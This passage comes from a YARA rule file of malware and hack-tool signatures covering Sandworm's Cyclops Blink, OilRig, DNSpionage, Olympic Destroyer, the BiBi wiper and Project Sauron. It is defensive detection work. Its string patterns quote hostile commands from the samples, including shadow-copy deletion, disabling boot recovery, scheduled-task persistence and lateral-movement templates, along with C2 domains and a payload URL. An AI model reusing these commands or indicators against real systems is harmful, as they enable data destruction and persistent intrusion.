		any of ( $url* ) and any of ( $file* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_WebDAV
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		reference = "https://twitter.com/cglyer/status/1176243536754282497"
		description = "Detects possible shortcut usage for .URL persistence"
		score = 50
		date = "27.09.2019"
		id = "cd660b84-d7c6-52fc-9e1d-76450e5262b1"

	strings:
		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=\s*\/\/[A-Za-z0-9]/
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		any of ( $url* ) and any of ( $file* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_ScriptURL
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "Detects possible shortcut usage for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		score = 50
		date = "27.09.2019"
		id = "2f55f8a9-4e4b-5480-9042-da6bb66b2e06"

	strings:
		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*script:/ nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		any of ( $url* ) and any of ( $file* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_WorkingDirRemote_HTTP
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "Detects possible shortcut usage for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		score = 50
		date = "27.09.2019"
		id = "68e54f8a-11e4-59e4-8498-59d88e70e438"

	strings:
		$icon = "WorkingDirectory=http" nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		$icon and any of ( $url* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_WorkingDirRemote_SMB
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "Detects possible shortcut usage for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		score = 50
		date = "27.09.2019"
		id = "26e19fe3-c25c-53b0-9b41-c04803134bc2"

	strings:
		$icon = "WorkingDirectory=file://" nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		$icon and any of ( $url* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule APT_Sandworm_CyclopsBlink_notable_strings
{
	meta:
		author = "NCSC"
		description = "Detects notable strings identified within the Cyclops Blink executable"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "81ccf582-41f5-5fe5-8afc-e008e01289ff"

	strings:
		$proc_name1 = "[kworker/0:1]"
		$proc_name2 = "[kworker/1:1]"
		$dns_query = "POST /dns-query HTTP/1.1\x0d\x0aHost: dns.google\x0d\x0a"
		$iptables1 = "iptables -I %s -p tcp --dport %d -j ACCEPT &>/dev/null"
		$iptables2 = "iptables -D %s -p tcp --dport %d -j ACCEPT &>/dev/null"
		$sys_recon1 = "{\"ver\":\"%x\",\"mods\";["
		$sys_recon2 = "uptime: %lu mem_size: %lu mem_free: %lu"
		$sys_recon3 = "disk_size: %lu disk_free: %lu"
		$sys_recon4 = "hw: %02x:%02x:%02x:%02x:%02x:%02x"
		$testpath = "%s/214688dsf46"
		$confpath = "%s/rootfs_cfg"
		$downpath = "/var/tmp/a.tmp"

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( 8 of them )
}

rule APT_Sandworm_CyclopsBlink_module_initialisation
{
	meta:
		author = "NCSC"
		description = "Detects the code bytes used to initialise the modules built into Cyclops Blink"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "c81b92c4-3f70-5bbd-acfa-ed1e1d33461d"

	strings:
		$ = {94 21 FF F0 93 E1 00 08 7C 3F 0B 78 38 00 00 ?? 7C 03
      03 78 81 61 00 00 8E EB FF F8 7D 61 5B 78 4E 80 00 20}

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( any of them )
}

rule APT_Sandworm_CyclopsBlink_modified_install_upgrade
{
	meta:
		author = "NCSC"
		description = "Detects notable strings identified within the modified install_upgrade executable, embedded within Cyclops Blink"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		hash3 = "7d61c0dd0cd901221a9dff9df09bb90810754f10"
		hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "4c4f7262-df74-5f6a-afc0-df1fcae4741c"

	strings:
		$ = "/pending/%010lu_%06d_%03d_p1"
		$ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"
		$ = "etaonrishdlcupfm"
		$ = "/pending/WGUpgrade-dl.new"
		$ = "/pending/bin/install_upgraded"
		$ = {38 80 4C 00}
		$ = {38 80 4C 05}
		$ = {38 80 4C 04}
		$ = {3C 00 48 4D 60 00 41 43 90 09 00 00}

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( 6 of them )
}

rule APT_Sandworm_CyclopsBlink_core_command_check
{
	meta:
		author = "NCSC"
		description = "Detects the code bytes used to test the command ID being sent to the core component of Cyclops Blink"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "46066474-7647-52fb-b40d-30ff8e285b6e"

	strings:
		$cmd_check = {81 3F 00 18 88 09 00 05 54 00 06 3E 2F 80 00 (07|0A|0B|0C|0D) }

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( #cmd_check == 5 )
}

rule APT_Sandworm_CyclopsBlink_config_identifiers
{
	meta:
		author = "NCSC"
		description = "Detects the initial characters used to identify Cyclops Blink configuration data"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "db5b3a4a-82c2-500a-88f6-340b3392eac8"

	strings:
		$ = {3C 00 3C 6B 60 00 3A 20 90 09 00 00}
		$ = {3C 00 3C 63 60 00 3A 20 90 09 00 00}
		$ = {3C 00 3C 73 60 00 3A 20 90 09 00 00}

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( all of them )
}

rule APT_Sandworm_CyclopsBlink_handle_mod_0xf_command
{
	meta:
		author = "NCSC"
		description = "Detects the code bytes used to check module ID 0xf control flags and a format string used for file content upload"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "36646b7a-389d-5fd9-88a1-e43e7224763a"

	strings:
		$ = {54 00 06 3E 54 00 07 FE 54 00 06 3E 2F 80 00 00}
		$ = {54 00 06 3E 54 00 07 BC 2F 80 00 00}
		$ = {54 00 06 3E 54 00 07 7A 2F 80 00 00}
		$ = {54 00 06 3E 54 00 06 F6 2F 80 00 00}
		$ = "file:%s\n" fullword

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( all of them )
}

rule APT_Sandworm_CyclopsBlink_default_config_values
{
	meta:
		author = "NCSC"
		description = "Detects the code bytes used to set default Cyclops Blink configuration values"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "04067609-1173-51f2-907f-2a236aae6c7c"

	strings:
		$ = {38 00 00 19 90 09 01 A4}
		$ = {3C 00 00 01 60 00 80 00 90 09 01 A8}
		$ = {38 00 40 00 90 09 01 AC}
		$ = {38 00 01 0B 90 09 01 B0}
		$ = {38 00 27 11 90 09 01 C0}

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( 3 of them )
}

rule APT_Sandworm_CyclopsBlink_handle_mod_0x51_command
{
	meta:
		author = "NCSC"
		description = "Detects the code bytes used to check commands sent to module ID 0x51 and notable strings relating to the Cyclops Blink update process"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		date = "2022-02-23"
		id = "a6800aed-27dc-5d01-b005-1eb4a62344a3"

	strings:
		$cmd_check = {88 1F [2] 54 00 06 3E 2F 80 00 (01|02|03) }
		$path1 = "/etc/wg/configd-hash.xml"
		$path2 = "/etc/wg/config.xml"
		$mnt_arg1 = "ext2"
		$mnt_arg2 = "errors=continue"
		$mnt_arg3 = {38 C0 0C 20}
		$mnt_arg4 = {38 C0 0C 21}

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( #cmd_check == 3 ) and ( ( @cmd_check [ 3 ] - @cmd_check [ 1 ] ) < 0x200 ) and ( all of ( $path* ) ) and ( all of ( $mnt_arg* ) )
}

rule MAL_DNSPIONAGE_Malware_Nov18
{
	meta:
		description = "Detects DNSpionage Malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
		date = "2018-11-30"
		modified = "2023-01-06"
		hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
		hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
		id = "5a0b498b-b2e9-5827-9908-63586b2cf947"

	strings:
		$x1 = ".0ffice36o.com" ascii
		$s1 = "/Client/Login?id=" ascii
		$s2 = ".\\Configure.txt" ascii
		$s5 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
		$s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 2 of them )
}

rule APT_DNSpionage_Karkoff_Malware_Apr19_1
{
	meta:
		description = "Detects DNSpionage Karkoff malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
		date = "2019-04-24"
		hash1 = "6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11"
		hash2 = "b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04"
		hash3 = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c"
		hash4 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
		id = "be955760-ae94-5f77-928d-f4118a97ae6a"

	strings:
		$x1 = "Karkoff.exe" fullword wide
		$x2 = "kuternull.com" fullword wide
		$x3 = "rimrun.com" fullword wide
		$s1 = "C:\\Windows\\Temp\\" wide
		$s2 = "CMD.exe" fullword wide
		$s3 = "get_ProcessExtensionDataNames" fullword ascii
		$s4 = "get_ProcessDictionaryKeys" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule OilRig_Strings_Oct17
{
	meta:
		description = "Detects strings from OilRig malware and malicious scripts"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
		date = "2017-10-18"
		modified = "2022-12-21"
		id = "edf7c7ca-0c58-5507-8d99-83078ff8947a"

	strings:
		$x1 = "%localappdata%\\srvHealth.exe" fullword wide ascii
		$x2 = "%localappdata%\\srvBS.txt" fullword wide ascii
		$x3 = "Agent Injector\\PolicyConverter\\Inner\\obj\\Release\\Inner.pdb" ascii
		$x4 = "Agent Injector\\PolicyConverter\\Joiner\\obj\\Release\\Joiner.pdb" ascii
		$s3 = ".LoadDll(\"Run\", arg, \"C:\\\\Windows\\\\" ascii

	condition:
		filesize < 800KB and 1 of them
}

rule OilRig_ISMAgent_Campaign_Samples1
{
	meta:
		description = "Detects OilRig malware from Unit 42 report in October 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/JQVfFP"
		date = "2017-10-18"
		hash1 = "119c64a8b35bd626b3ea5f630d533b2e0e7852a4c59694125ff08f9965b5f9cc"
		hash2 = "0ccb2117c34e3045a4d2c0d193f1963c8c0e8566617ed0a561546c932d1a5c0c"
		id = "237fe7af-a2ab-51ae-bc96-3af46b08622a"

	strings:
		$s1 = "###$$$TVqQAAMAAAAEAAAA" ascii
		$s2 = "C:\\Users\\J-Win-7-32-Vm\\Desktop\\error.jpg" fullword wide
		$s3 = "$DATA = [System.Convert]::FromBase64String([IO.File]::ReadAllText('%Base%'));[io.file]::WriteAllBytes(" ascii
		$s4 = " /c echo powershell > " fullword wide ascii
		$s5 = "\\Libraries\\servicereset.exe" wide
		$s6 = "%DestFolder%" fullword wide ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 3000KB and 2 of them
}

rule OilRig_ISMAgent_Campaign_Samples2
{
	meta:
		description = "Detects OilRig malware from Unit 42 report in October 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/JQVfFP"
		date = "2017-10-18"
		hash1 = "fcad263d0fe2b418db05f47d4036f0b42aaf201c9b91281dfdcb3201b298e4f4"
		hash2 = "33c187cfd9e3b68c3089c27ac64a519ccc951ccb3c74d75179c520f54f11f647"
		id = "08771b23-1d0e-5da7-b42c-005ed257e2d1"

	strings:
		$x1 = "PolicyConverter.exe" fullword wide
		$x2 = "SrvHealth.exe" fullword wide
		$x3 = "srvBS.txt" fullword wide
		$s1 = "{a3538ba3-5cf7-43f0-bc0e-9b53a98e1643}, PublicKeyToken=3e56350693f7355e" fullword wide
		$s2 = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( 2 of ( $x* ) or 3 of them )
}

import "pe"

rule OilRig_ISMAgent_Campaign_Samples3
{
	meta:
		description = "Detects OilRig malware from Unit 42 report in October 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/JQVfFP"
		date = "2017-10-18"
		hash1 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
		id = "e26510bd-d183-566a-a185-ebed7a81401c"

	strings:
		$x1 = "cmd /c schtasks /query /tn TimeUpdate > NUL 2>&1" ascii
		$x2 = "schtasks /create /sc minute /mo 0002 /tn TimeUpdate /tr" fullword ascii
		$x3 = "-c  SampleDomain.com -m scheduleminutes" fullword ascii
		$x4 = ".ntpupdateserver.com" fullword ascii
		$x5 = ".msoffice365update.com" fullword ascii
		$s1 = "out.exe" fullword ascii
		$s2 = "\\Win32Project1\\Release\\Win32Project1.pdb" ascii
		$s3 = "C:\\windows\\system32\\cmd.exe /c (" ascii
		$s4 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
		$s5 = "Agent configured successfully" fullword ascii
		$s6 = "\\runlog*" ascii
		$s7 = "can not specify username!!" fullword ascii
		$s8 = "Agent can not be configured" fullword ascii
		$s9 = "%08lX%04hX%04hX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX" fullword ascii
		$s10 = "!!! can not create output file !!!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( pe.imphash ( ) == "538805ecd776b9a42e71aebf94fde1b1" or pe.imphash ( ) == "861ac226fbe8c99a2c43ff451e95da97" or ( 1 of ( $x* ) or 3 of them ) )
}

rule Exp_EPS_CVE20152545
{
	meta:
		description = "Detects EPS Word Exploit CVE-2015-2545"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - ME"
		date = "2017-07-19"
		score = 70
		id = "9a5f0554-b588-5b82-93df-0fdfba2af2da"

	strings:
		$s1 = "word/media/image1.eps" ascii
		$s2 = "-la;7(la+" ascii

	condition:
		uint16( 0 ) == 0x4b50 and ( $s1 and #s2 > 20 )
}

import "pe"

rule MAL_GandCrab_Apr18_1
{
	meta:
		description = "Detects GandCrab malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/MarceloRivero/status/988455516094550017"
		date = "2018-04-23"
		hash1 = "6fafe7bb56fd2696f2243fc305fe0c38f550dffcfc5fca04f70398880570ffff"
		id = "ef7983cd-a7b3-5ce2-8cff-1bcf35bc6140"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and pe.imphash ( ) == "7936b0e9491fd747bf2675a7ec8af8ba"
}

rule ONHAT_Proxy_Hacktool
{
	meta:
		description = "Detects ONHAT Proxy - Htran like SOCKS hack tool used by Chinese APT groups"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/p32Ozf"
		date = "2016-05-12"
		score = 100
		hash1 = "30b2de0a802a65b4db3a14593126301e6949c1249e68056158b2cc74798bac97"
		hash2 = "94bda24559713c7b8be91368c5016fc7679121fea5d565d3d11b2bb5d5529340"
		hash3 = "a26e75fec3b9f7d5a1c3d0ce1e89e4b0befb7a601da0c69a4cf96301921771dd"
		hash4 = "c202e9d5b99f6137c7c07305c7314e55f52bae832d460c44efc8f2a90ff03615"
		hash5 = "dded62ad85c0bdd68bcc96f88d8ba42d5ad0ef999911ebdea3f561a4491ebbc6"
		hash6 = "f0954774c91603fc2595f0ba0727b9af4e80f6f9be7bb629e7fb6ba4309ed4ea"
		hash7 = "f3906be01d51e2e1ae9b03cd09702b6e0794b9c9fd7dc04024f897e96bb13232"
		hash8 = "f65ae9ccf988a06a152f27a4c0d7992100a2d9d23d80efe8d8c2a5c9bd78a3a7"
		id = "cb18a5b0-dbbd-5dd3-af66-21b8302df6de"

	strings:
		$s1 = "INVALID PARAMETERS. TYPE ONHAT.EXE -h FOR HELP INFORMATION." fullword ascii
		$s2 = "[ONHAT] LISTENS (S, %d.%d.%d.%d, %d) ERROR." fullword ascii
		$s3 = "[ONHAT] CONNECTS (T, %d.%d.%d.%d, %d.%d.%d.%d, %d) ERROR." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and ( 1 of ( $s* ) ) ) or ( 2 of them )
}

rule Destructive_Ransomware_Gen1
{
	meta:
		description = "Detects destructive malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
		date = "2018-02-12"
		hash1 = "ae9a4e244a9b3c77d489dee8aeaf35a7c3ba31b210e76d81ef2e91790f052c85"
		id = "3a7ce55e-fb28-577b-91bb-fe02d7b3d73c"

	strings:
		$x1 = "/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" fullword wide
		$x2 = "delete shadows /all /quiet" fullword wide
		$x3 = "delete catalog -quiet" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them
}

import "pe"

rule OlympicDestroyer_Gen2
{
	meta:
		description = "Detects Olympic Destroyer malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
		date = "2018-02-12"
		hash1 = "d934cb8d0eadb93f8a57a9b8853c5db218d5db78c16a35f374e413884d915016"
		hash2 = "3e27b6b287f0b9f7e85bfe18901d961110ae969d58b44af15b1d75be749022c2"
		hash3 = "edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9"
		hash4 = "28858cc6e05225f7d156d1c6a21ed11188777fa0a752cb7b56038d79a88627cc"
		id = "8d0cbb7b-6650-53ed-8d58-176f8b4af880"

	strings:
		$x1 = "cmd.exe /c (ping 0.0.0.0 > nul) && if exist %programdata%\\evtchk.txt" fullword wide
		$x2 = "cmd.exe /c (echo strPath = Wscript.ScriptFullName & echo.Set FSO = CreateObject^(\"Scripting.FileSystemObject\"^)" wide
		$x3 = "del %programdata%\\evtchk.txt" fullword wide
		$x4 = "Pyeongchang2018.com\\svc_all_swd_installc" fullword ascii
		$s1 = "<STARTCRED>" fullword wide
		$s2 = "SELECT ds_cn FROM ds_computer" fullword wide
		$s3 = "\\system32\\notepad.exe" wide
		$s4 = "%s \\\\%s -u \"%s\" -p \"%s\" -accepteula -d %s %s \"%s\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( pe.imphash ( ) == "fd7200dcd5c0d9d4d277a26d951210aa" or pe.imphash ( ) == "975087e9286238a80895b195efb3968d" or pe.imphash ( ) == "da1c2d7acfe54df797bfb1f470257bc3" or 1 of ( $x* ) or 3 of them )
}

rule MAL_WIPER_BiBi_Oct23
{
	meta:
		description = "Detects BiBi wiper samples for Windows and Linux"
		author = "Florian Roth"
		reference = "https://x.com/ESETresearch/status/1719437301900595444?s=20"
		date = "2023-11-01"
		hash1 = "23bae09b5699c2d5c4cb1b8aa908a3af898b00f88f06e021edcb16d7d558efad"
		hash2 = "40417e937cd244b2f928150cae6fa0eff5551fdb401ea072f6ecdda67a747e17"
		id = "e1ea8016-e074-5208-8c98-54922bbcc407"

	strings:
		$s1 = "send attempt while closed" ascii fullword
		$s2 = "[+] CPU cores: %d, Threads: %d" ascii fullword
		$s3 = "[+] Stats: %d | %d" ascii fullword
		$opw1 = { 33 c0 88 45 48 b8 01 00 00 00 86 45 48 45 8b f5 48 8d 3d de f5 ff ff 0f 57 c9 f3 0f 7f 4d b8 }
		$opw2 = { 2d ce b5 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 26 b4 00 00 44 8b 05 5f b6 00 00 e8 ca 0d 00 00 }
		$opl1 = { 4c 8d 44 24 08 48 89 f7 48 ff c2 48 83 c6 04 e8 c7 fb ff ff 41 89 c1 0f b6 42 ff 41 0f af c1 }
		$opl2 = { e8 6f fb ff ff 49 8d 78 f8 89 c0 48 01 c2 48 89 15 09 fb 24 00 e8 5a fb ff ff 49 8d 78 fc 6b f0 06 }

	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and filesize < 4000KB and 2 of them
}

rule ScanBox_Malware_Generic
{
	meta:
		description = "Scanbox Chinese Deep Panda APT Malware http://goo.gl/MUUfjv and http://goo.gl/WXUQcP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference1 = "http://goo.gl/MUUfjv"
		reference2 = "http://goo.gl/WXUQcP"
		date = "2015/02/28"
		hash1 = "8d168092d5601ebbaed24ec3caeef7454c48cf21366cd76560755eb33aff89e9"
		hash2 = "d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d"
		hash3 = "3fe208273288fc4d8db1bf20078d550e321d9bc5b9ab80c93d79d2cb05cbf8c2"
		id = "f7867e65-567f-530f-83d4-b5126021e523"

	strings:
		$s0 = "http://142.91.76.134/p.dat" fullword ascii
		$s1 = "HttpDump 1.1" fullword ascii
		$s3 = "SecureInput .exe" fullword wide
		$s4 = "http://extcitrix.we11point.com/vpn/index.php?ref=1" fullword ascii
		$s5 = "%SystemRoot%\\System32\\svchost.exe -k msupdate" fullword ascii
		$s6 = "ServiceMaix" fullword ascii
		$x1 = "Management Support Team1" fullword ascii
		$x2 = "DTOPTOOLZ Co.,Ltd.0" fullword ascii
		$x3 = "SEOUL1" fullword ascii

	condition:
		(1 of ( $s* ) and 2 of ( $x* ) ) or ( 3 of ( $x* ) )
}

rule APT_Project_Sauron_Scripts
{
	meta:
		description = "Detects scripts (mostly LUA) from Project Sauron report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-08"
		id = "575a6f1b-5a4d-5f81-b44a-b7025dbec2a5"

	strings:
		$x1 = "local t = w.exec2str(\"regedit "
		$x2 = "local r = w.exec2str(\"cat"
		$x3 = "ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence"
		$x4 = "move O FakeVirtualEncryptedNetwork.dll"
		$x5 = "sinfo | basex b 32url | dext l 30"
		$x6 = "w.exec2str(execStr)"
		$x7 = "netnfo irc | basex b 32url"
		$x8 = "w.exec(\"wfw status\")"
		$x9 = "exec(\"samdump\")"
		$x10 = "cat VirtualEncryptedNetwork.ini|grep"
		$x11 = "if string.lower(k) == \"securityproviders\" then"
		$x12 = "exec2str(\"plist b | grep netsvcs\")"
		$x14 = "SAURON_KBLOG_KEY ="

	condition:
		1 of them
}

rule HKTL_Dsniff
{
	meta:
		description = "Detects Dsniff hack tool"
		author = "Florian Roth (Nextron Systems)"
		score = 55
		reference = "https://goo.gl/eFoP4A"
		date = "2019-02-19"
		id = "eb39185b-330f-5b93-ac58-0465e5767919"

	strings:
		$x1 = ".*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*"

	condition:
		1 of them
}

rule APT_Project_Sauron_arping_module
{
	meta:
		description = "Detects strings from arping module - Project Sauron report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-08"
		id = "42389511-de92-57cb-9dee-9f829fd5e55a"

	strings:
		$s1 = "Resolve hosts that answer"
		$s2 = "Print only replying Ips"
		$s3 = "Do not display MAC addresses"

	condition:
		all of them
}

rule APT_Project_Sauron_kblogi_module
{
	meta:
		description = "Detects strings from kblogi module - Project Sauron report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-08"
		id = "e1dd4d1a-1089-5897-8f4a-52c7068802fa"

	strings:
		$x1 = "Inject using process name or pid. Default"
		$s2 = "Convert mode: Read log from file and convert to text"
		$s3 = "Maximum running time in seconds"

	condition:
		$x1 or 2 of them
}

rule APT_Project_Sauron_basex_module
{
	meta:
		description = "Detects strings from basex module - Project Sauron report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-08"
		id = "51ef3826-af5c-562b-a1f8-3bf11532ac2d"

	strings:
		$x1 = "64, 64url, 32, 32url or 16."
		$s2 = "Force decoding when input is invalid/corrupt"
		$s3 = "This cruft"

	condition:
		$x1 or 2 of them
}

rule APT_Project_Sauron_dext_module
{
	meta:
		description = "Detects strings from dext module - Project Sauron report by Kaspersky"
